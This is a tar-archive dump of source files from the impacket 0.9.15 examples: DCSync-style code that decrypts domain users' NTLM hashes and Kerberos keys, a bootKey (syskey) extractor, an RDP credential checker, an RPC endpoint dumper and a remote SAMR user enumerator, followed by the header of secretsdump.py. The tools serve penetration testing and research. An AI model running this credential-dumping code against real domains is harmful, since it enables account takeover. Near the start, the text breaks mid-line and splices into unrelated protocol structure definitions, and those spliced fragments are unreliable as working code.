resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
# Now that we have the Sid, let's get the Administrator's account name
sids = list()
sids.append(domainSid+'-500')
resp = hLsarLookupSids(dce, policyHandle, sids, LSAP_LOOKUP_LEVEL.LsapLookupWksta)
adminName = resp['TranslatedNames']['Names'][0]['Name']
return domainSid, adminName
def __connectDrds(self, domainName, creds):
if self.__doKerberos is True or creds['TGT'] is not None:
# In Kerberos we need the target's name
machineNameOrIp = self.getDNSMachineName(gethostbyname(domainName))
logging.debug('%s is %s' % (gethostbyname(domainName), machineNameOrIp))
else:
machineNameOrIp = gethostbyname(domainName)
stringBinding = epm.hept_map(machineNameOrIp, drsuapi.MSRPC_UUID_DRSUAPI,
protocol='ncacn_ip_tcp')
rpc = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpc, 'set_credentials'):
# This method exists only for selected protocol sequences.
if creds['TGT'] is not None:
rpc.set_credentials(creds['username'],'', creds['domain'], TGT=creds['TGT'])
rpc.set_kerberos(True)
else:
rpc.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],
creds['nthash'], creds['aesKey'])
rpc.set_kerberos(self.__doKerberos)
self.__drsr = rpc.get_dce_rpc()
self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if self.__doKerberos or creds['TGT'] is not None:
self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.__drsr.connect()
self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
request = drsuapi.DRSBind()
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
drs = drsuapi.DRS_EXTENSIONS_INT()
drs['cb'] = len(drs) #- 4
drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 |\
drsuapi.DRS_EXT_STRONG_ENCRYPTION
drs['SiteObjGuid'] = drsuapi.NULLGUID
drs['Pid'] = 0
drs['dwReplEpoch'] = 0
drs['dwFlagsExt'] = 0
drs['ConfigObjGUID'] = drsuapi.NULLGUID
drs['dwExtCaps'] = 127
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(str(drs))
resp = self.__drsr.request(request)
# Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
# DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
# If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
ppextServer = ''.join(resp['ppextServer']['rgb']) + '\x00' * (
len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
drsExtensionsInt.fromString(ppextServer)
if drsExtensionsInt['dwReplEpoch'] != 0:
# Different epoch, we have to call DRSBind again
if logging.getLogger().level == logging.DEBUG:
logging.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
'dwReplEpoch'])
drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(str(drs))
resp = self.__drsr.request(request)
self.__hDrs = resp['phDrs']
# Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, domainName, 2)
if resp['pmsgOut']['V2']['cItems'] > 0:
self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
else:
logging.error("Couldn't get DC info for domain %s" % domainName)
raise Exception('Fatal, aborting')
def DRSCrackNames(self, target, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name='', creds=None):
if self.__drsr is None:
self.__connectDrds(target, creds)
resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
return resp
def __decryptSupplementalInfo(self, record, prefixTable=None):
# This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
plainText = None
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
try:
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
except Exception, e:
logging.debug('Failed to execute OidFromAttid with error %s' % e)
# Fallbacking to fixed table and hope for the best
attId = attr['attrTyp']
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
if attId == LOOKUP_TABLE['supplementalCredentials']:
if attr['AttrVal']['valCount'] > 0:
blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
plainText = drsuapi.DecryptAttributeValue(self.__drsr, blob)
if len(plainText) < 24:
plainText = None
if plainText:
try:
userProperties = samr.USER_PROPERTIES(plainText)
except:
# On some old w2k3 there might be user properties that don't
# match [MS-SAMR] structure, discarding them
return
propertiesData = userProperties['UserProperties']
for propertyCount in range(userProperties['PropertyCount']):
userProperty = samr.USER_PROPERTY(propertiesData)
propertiesData = propertiesData[len(userProperty):]
if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
data = kerbStoredCredentialNew['Buffer']
for credential in range(kerbStoredCredentialNew['CredentialCount']):
keyDataNew = samr.KERB_KEY_DATA_NEW(data)
data = data[len(keyDataNew):]
keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']):
# Give me only the AES256
if keyDataNew['KeyType'] == 18:
return hexlify(keyValue)
return None
def __decryptHash(self, record, prefixTable=None):
logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
rid = 0
LMHash = None
NTHash = None
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
try:
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
except Exception, e:
logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
# Fallbacking to fixed table and hope for the best
attId = attr['attrTyp']
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
if attId == LOOKUP_TABLE['dBCSPwd']:
if attr['AttrVal']['valCount'] > 0:
encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
encryptedLMHash = drsuapi.DecryptAttributeValue(self.__drsr, encrypteddBCSPwd)
else:
LMHash = LMOWFv1('', '')
elif attId == LOOKUP_TABLE['unicodePwd']:
if attr['AttrVal']['valCount'] > 0:
encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
encryptedNTHash = drsuapi.DecryptAttributeValue(self.__drsr, encryptedUnicodePwd)
else:
NTHash = NTOWFv1('', '')
elif attId == LOOKUP_TABLE['objectSid']:
if attr['AttrVal']['valCount'] > 0:
objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
rid = unpack('H=len(TPDU)+4'),
('_TPDU','_-TPDU','self["Length"]-4'),
('TPDU',':=""'),
)
class TPDU(Structure):
commonHdr = (
('LengthIndicator','B=len(VariablePart)+1'),
('Code','B=0'),
('VariablePart',':=""'),
)
def __init__(self, data = None):
Structure.__init__(self,data)
self['VariablePart']=''
class CR_TPDU(Structure):
commonHdr = (
('DST-REF','
#
# Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
# from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth
# field is omitted by the client unless the client is sending the last SPNEGO token.
# If the client is sending the last SPNEGO token, the TSRequest structure MUST have
# both the negoToken and the pubKeyAuth fields filled in.
# NTLMSSP stuff
auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True)
ts_request = TSRequest()
ts_request['NegoData'] = str(auth)
tls.send(ts_request.getData())
buff = tls.recv(4096)
ts_request.fromString(buff)
# 3. The client encrypts the public key it received from the server (contained
# in the X.509 certificate) in the TLS handshake from step 1, by using the
# confidentiality support of SPNEGO. The public key that is encrypted is the
# ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509
# certificate, as specified in [RFC3280] section 4.1. The encrypted key is
# encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over
# the TLS channel to the server.
#
# Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
# from the TSRequest structure; the client MUST send its last SPNEGO token to the
# server in the negoTokens field (see step 2) along with the encrypted public key
# in the pubKeyAuth field.
# Last SPNEGO token calculation
#ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])
type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True)
# Get server public key
server_cert = tls.get_peer_certificate()
pkey = server_cert.get_pubkey()
dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)
# Fix up due to PyOpenSSL lack for exporting public keys
dump = dump[7:]
dump = '\x30'+ asn1encode(dump)
cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
signature, cripted_key = cipher.encrypt(dump)
ts_request['NegoData'] = str(type3)
ts_request['pubKeyAuth'] = str(signature) + cripted_key
try:
# Sending the Type 3 NTLM blob
tls.send(ts_request.getData())
# The other end is waiting for the pubKeyAuth field, but looks like it's
# not needed to check whether authentication worked.
# If auth is unsuccessful, it throws an exception with the previous send().
# If auth is successful, the server waits for the pubKeyAuth and doesn't answer
# anything. So, I'm sending garbage so the server returns an error.
# Luckily, it's a different error so we can determine whether or not auth worked ;)
buff = tls.recv(1024)
except Exception, err:
if str(err).find("denied") > 0:
logging.error("Access Denied")
else:
logging.error(err)
return
# 4. After the server receives the public key in step 3, it first verifies that
# it has the same public key that it used as part of the TLS handshake in step 1.
# The server then adds 1 to the first byte representing the public key (the ASN.1
# structure corresponding to the SubjectPublicKey field, as described in step 3)
# and encrypts the binary result by using the SPNEGO encryption services.
# Due to the addition of 1 to the binary data, and encryption of the data as a binary
# structure, the resulting value may not be valid ASN.1-encoded values.
# The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest
# structure and is sent over the encrypted TLS channel to the client.
# The addition of 1 to the first byte of the public key is performed so that the
# client-generated pubKeyAuth message cannot be replayed back to the client by an
# attacker.
#
# Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens
# fields are omitted from the TSRequest structure.
ts_request = TSRequest(buff)
# Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;)
signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:])
# 5. After the client successfully verifies server authenticity by performing a
# binary comparison of the data from step 4 to that of the data representing
# the public key from the server's X.509 certificate (as specified in [RFC3280],
# section 4.1), it encrypts the user's credentials (either password or smart card
# PIN) by using the SPNEGO encryption services. The resulting value is
# encapsulated in the authInfo field of the TSRequest structure and sent over
# the encrypted TLS channel to the server.
# The TSCredentials structure within the authInfo field of the TSRequest
# structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure,
# but MUST NOT contain both.
#
# Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens
# fields are omitted from the TSRequest structure.
tsp = TSPasswordCreds()
tsp['domainName'] = domain
tsp['userName'] = username
tsp['password'] = password
tsc = TSCredentials()
tsc['credType'] = 1 # TSPasswordCreds
tsc['credentials'] = tsp.getData()
signature, cripted_creds = cipher.encrypt(tsc.getData())
ts_request = TSRequest()
ts_request['authInfo'] = str(signature) + cripted_creds
tls.send(ts_request.getData())
tls.close()
logging.info("Access Granted")
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Test whether an account is valid on the target host using the RDP protocol.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
check_rdp(address, username, password, domain, options.hashes)
impacket-0.9.15/examples/registry-read.py 0000700 0000765 0000000 00000011631 12734531507 020425 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies)
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description: A Windows Registry Reader Example
#
# Reference for:
# winregistry.py
#
import sys
import argparse
import ntpath
from binascii import unhexlify, hexlify
from impacket.examples import logger
from impacket import version
from impacket import winregistry
def bootKey(reg):
baseClass = 'ControlSet001\\Control\\Lsa\\'
keys = ['JD','Skew1','GBG','Data']
tmpKey = ''
for key in keys:
tmpKey = tmpKey + unhexlify(reg.getClass(baseClass + key).decode('utf-16le')[:8])
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
syskey = ''
for i in xrange(len(tmpKey)):
syskey += tmpKey[transforms[i]]
print hexlify(syskey)
def getClass(reg, className):
regKey = ntpath.dirname(className)
regClass = ntpath.basename(className)
value = reg.getClass(className)
if value is None:
return
print "[%s]" % regKey
print "Value for Class %s: \n" % regClass,
winregistry.hexdump(value,' ')
def getValue(reg, keyValue):
regKey = ntpath.dirname(keyValue)
regValue = ntpath.basename(keyValue)
value = reg.getValue(keyValue)
print "[%s]\n" % regKey
if value is None:
return
print "Value for %s:\n " % regValue,
reg.printValue(value[0],value[1])
def enumValues(reg, searchKey):
key = reg.findKey(searchKey)
if key is None:
return
print "[%s]\n" % searchKey
values = reg.enumValues(key)
for value in values:
print " %-30s: " % value,
data = reg.getValue('%s\\%s'%(searchKey,value))
# Special case for binary string.. so it looks better formatted
if data[0] == winregistry.REG_BINARY:
print ''
reg.printValue(data[0],data[1])
print ''
else:
reg.printValue(data[0],data[1])
def enumKey(reg, searchKey, isRecursive, indent=' '):
parentKey = reg.findKey(searchKey)
if parentKey is None:
return
keys = reg.enumKey(parentKey)
for key in keys:
print "%s%s" %(indent, key)
if isRecursive is True:
if searchKey == '\\':
enumKey(reg, '\\%s'%key,isRecursive,indent+' ')
else:
enumKey(reg, '%s\\%s'%(searchKey,key),isRecursive,indent+' ')
def walk(reg, keyName):
return reg.walk(keyName)
def main():
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Reads data from registry hives.")
parser.add_argument('hive', action='store', help='registry hive to open')
subparsers = parser.add_subparsers(help='actions', dest='action')
# A enum_key command
enumkey_parser = subparsers.add_parser('enum_key', help='enumerates the subkeys of the specified open registry key')
enumkey_parser.add_argument('-name', action='store', required=True, help='registry key')
enumkey_parser.add_argument('-recursive', dest='recursive', action='store_true', required=False, help='recursive search (default False)')
# A enum_values command
enumvalues_parser = subparsers.add_parser('enum_values', help='enumerates the values for the specified open registry key')
enumvalues_parser.add_argument('-name', action='store', required=True, help='registry key')
# A get_value command
getvalue_parser = subparsers.add_parser('get_value', help='retrieves the data for the specified registry value')
getvalue_parser.add_argument('-name', action='store', required=True, help='registry value')
# A get_class command
getclass_parser = subparsers.add_parser('get_class', help='retrieves the data for the specified registry class')
getclass_parser.add_argument('-name', action='store', required=True, help='registry class name')
# A walk command
walk_parser = subparsers.add_parser('walk', help='walks the registry from the name node down')
walk_parser.add_argument('-name', action='store', required=True, help='registry class name to start walking down from')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
reg = winregistry.Registry(options.hive)
if options.action.upper() == 'ENUM_KEY':
print "[%s]" % options.name
enumKey(reg, options.name, options.recursive)
elif options.action.upper() == 'ENUM_VALUES':
enumValues(reg, options.name)
elif options.action.upper() == 'GET_VALUE':
getValue(reg, options.name)
elif options.action.upper() == 'GET_CLASS':
getClass(reg, options.name)
elif options.action.upper() == 'WALK':
walk(reg, options.name)
reg.close()
if __name__ == "__main__":
main()
impacket-0.9.15/examples/rpcdump.py 0000700 0000765 0000000 00000014231 12734531507 017315 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# DCE/RPC endpoint mapper dumper.
#
# Author:
# Javier Kohen
# Alberto Solino
#
# Reference for:
# DCE/RPC.
import sys
import logging
import argparse
from impacket.examples import logger
from impacket import uuid, version
from impacket.dcerpc.v5 import transport, epm
class RPCDump:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\epmapper]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\epmapper]', 445),
'135/TCP': (r'ncacn_ip_tcp:%s', 135),
}
def __init__(self, protocols = None,
username = '', password = '', domain='', hashes = None):
if not protocols:
protocols = RPCDump.KNOWN_PROTOCOLS.keys()
self.__username = username
self.__password = password
self.__protocols = [protocols]
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def dump(self, addr):
"""Dumps the list of endpoints registered with the mapper
listening at addr. Addr is a valid host name or IP address in
string format.
"""
logging.info('Retrieving endpoint list from %s' % addr)
# Try all requested protocols until one works.
entries = []
for protocol in self.__protocols:
protodef = RPCDump.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
logging.info("Trying protocol %s..." % protocol)
stringbinding = protodef[0] % addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(port)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
try:
entries = self.__fetchList(rpctransport)
except Exception, e:
logging.critical('Protocol failed: %s' % e)
else:
# Got a response. No need for further iterations.
break
# Display results.
endpoints = {}
# Let's groups the UUIDS
for entry in entries:
binding = epm.PrintStringBinding(entry['tower']['Floors'], rpctransport.get_dip())
tmpUUID = str(entry['tower']['Floors'][0])
if endpoints.has_key(tmpUUID) is not True:
endpoints[tmpUUID] = {}
endpoints[tmpUUID]['Bindings'] = list()
if epm.KNOWN_UUIDS.has_key(uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]):
endpoints[tmpUUID]['EXE'] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
else:
endpoints[tmpUUID]['EXE'] = 'N/A'
endpoints[tmpUUID]['annotation'] = entry['annotation'][:-1]
endpoints[tmpUUID]['Bindings'].append(binding)
if epm.KNOWN_PROTOCOLS.has_key(tmpUUID[:36]):
endpoints[tmpUUID]['Protocol'] = epm.KNOWN_PROTOCOLS[tmpUUID[:36]]
else:
endpoints[tmpUUID]['Protocol'] = "N/A"
#print "Transfer Syntax: %s" % entry['Tower']['Floors'][1]
for endpoint in endpoints.keys():
print "Protocol: %s " % endpoints[endpoint]['Protocol']
print "Provider: %s " % endpoints[endpoint]['EXE']
print "UUID : %s %s" % (endpoint, endpoints[endpoint]['annotation'])
print "Bindings: "
for binding in endpoints[endpoint]['Bindings']:
print " %s" % binding
print ""
if entries:
num = len(entries)
if 1 == num:
logging.info('Received one endpoint.')
else:
logging.info('Received %d endpoints.' % num)
else:
logging.info('No endpoints found.')
def __fetchList(self, rpctransport):
dce = rpctransport.get_dce_rpc()
dce.connect()
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
#dce.bind(epm.MSRPC_UUID_PORTMAP)
#rpcepm = epm.DCERPCEpm(dce)
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
return resp
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Dumps the remote RPC enpoints information.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('protocol', choices=RPCDump.KNOWN_PROTOCOLS.keys(), nargs='?', default='135/TCP', help='transport protocol (default 135/TCP)')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
dumper = RPCDump(options.protocol, username, password, domain, options.hashes)
dumper.dump(address)
impacket-0.9.15/examples/samrdump.py 0000700 0000765 0000000 00000017774 12734531507 017512 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: DCE/RPC SAMR dumper.
#
# Author:
# Javier Kohen
# Alberto Solino (@agsolino)
#
# Reference for:
# DCE/RPC for SAMR
import sys
import logging
import argparse
import codecs
from impacket.examples import logger
from impacket import version
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5 import transport, samr
from impacket.dcerpc.v5.rpcrt import DCERPCException
class ListUsersException(Exception):
pass
class SAMRDump:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
}
def __init__(self, protocols=None,
username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None):
if not protocols:
self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys()
else:
self.__protocols = [protocols]
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def dump(self, addr):
"""Dumps the list of users and shares registered present at
addr. Addr is a valid host name or IP address.
"""
logging.info('Retrieving endpoint list from %s' % addr)
# Try all requested protocols until one works.
entries = []
for protocol in self.__protocols:
protodef = SAMRDump.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
logging.info("Trying protocol %s..." % protocol)
rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain,
self.__lmhash, self.__nthash, self.__aesKey,
doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
entries = self.__fetchList(rpctransport)
except Exception, e:
logging.critical(str(e))
else:
# Got a response. No need for further iterations.
break
# Display results.
for entry in entries:
(username, uid, user) = entry
base = "%s (%d)" % (username, uid)
print base + '/FullName:', user['FullName']
print base + '/UserComment:', user['UserComment']
print base + '/PrimaryGroupId:', user['PrimaryGroupId']
print base + '/BadPasswordCount:', user['BadPasswordCount']
print base + '/LogonCount:', user['LogonCount']
if entries:
num = len(entries)
if 1 == num:
logging.info('Received one entry.')
else:
logging.info('Received %d entries.' % num)
else:
logging.info('No entries received.')
def __fetchList(self, rpctransport):
dce = rpctransport.get_dce_rpc()
entries = []
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
try:
resp = samr.hSamrConnect(dce)
serverHandle = resp['ServerHandle']
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
domains = resp['Buffer']['Buffer']
print 'Found domain(s):'
for domain in domains:
print " . %s" % domain['Name']
logging.info("Looking up users in domain %s" % domains[0]['Name'])
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] )
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
domainHandle = resp['DomainHandle']
status = STATUS_MORE_ENTRIES
enumerationContext = 0
while status == STATUS_MORE_ENTRIES:
try:
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext)
except DCERPCException, e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp = e.get_packet()
for user in resp['Buffer']['Buffer']:
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId'])
print "Found user: %s, uid = %d" % (user['Name'], user['RelativeId'] )
info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation)
entry = (user['Name'], user['RelativeId'], info['Buffer']['All'])
entries.append(entry)
samr.hSamrCloseHandle(dce, r['UserHandle'])
enumerationContext = resp['EnumerationContext']
status = resp['ErrorCode']
except ListUsersException, e:
logging.critical("Error listing users: %s" % e)
dce.disconnect()
return entries
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "This script downloads the list of users for the target system.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')
parser.add_argument('protocol', choices=SAMRDump.KNOWN_PROTOCOLS.keys(), nargs='?', default='445/SMB', help='transport protocol (default 445/SMB)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if options.aesKey is not None:
options.k = True
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
dumper = SAMRDump(options.protocol, username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip)
dumper.dump(address)
impacket-0.9.15/examples/secretsdump.py 0000700 0000765 0000000 00000315453 12734531507 020213 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Performs various techniques to dump hashes from the
# remote machine without executing any agent there.
# For SAM and LSA Secrets (including cached creds)
# we try to read as much as we can from the registry
# and then we save the hives in the target system
# (%SYSTEMROOT%\\Temp dir) and read the rest of the
# data from there.
# For NTDS.dit we either:
# a. Get the domain users list and get its hashes
# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
# call, replicating just the attributes we need.
# b. Extract NTDS.dit via vssadmin executed with the
# smbexec approach.
# It's copied on the temp dir and parsed remotely.
#
# The script initiates the services required for its working
# if they are not available (e.g. Remote Registry, even if it is
# disabled). After the work is done, things are restored to the
# original state.
#
# Author:
# Alberto Solino (@agsolino)
#
# References: Most of the work done by these guys. I just put all
# the pieces together, plus some extra magic.
#
# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
# http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
# http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
# http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
# http://www.quarkslab.com/en-blog+read+13
# https://code.google.com/p/creddump/
# http://lab.mediaservice.net/code/cachedump.rb
# http://insecurety.net/?p=768
# http://www.beginningtoseethelight.org/ntsecurity/index.htm
# http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf
# http://www.passcape.com/index.php?section=blog&cmd=details&id=15
#
from struct import unpack, pack
from collections import OrderedDict
from binascii import unhexlify, hexlify
from datetime import datetime
import sys
import random
import hashlib
import argparse
import logging
import ntpath
import time
import string
import codecs
import os
from impacket import system_errors
from impacket.examples import logger
from impacket import version, winregistry, ntlm
from impacket.smbconnection import SMBConnection
from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
